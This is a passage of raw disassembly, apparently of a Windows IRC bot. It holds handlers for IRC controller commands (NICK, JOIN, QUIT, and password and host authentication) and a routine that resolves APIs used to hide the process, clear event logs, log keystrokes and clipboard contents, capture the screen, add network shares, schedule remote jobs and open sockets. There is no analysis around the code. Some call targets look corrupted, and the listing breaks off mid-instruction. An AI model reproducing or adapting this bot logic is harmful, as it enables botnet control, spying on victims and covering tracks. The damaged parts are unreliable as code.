loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2690000h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] nop call near ptr 26A06C2h push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2690000h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA28 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2690000h locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj nop call near ptr 26908FFh mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 26C0000h nop mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 26908FFh mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 26908FFh mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j call near ptr 26908FFh nop mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj call near ptr 26908FFh nop mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 26908FFh mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 26908FFh mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset 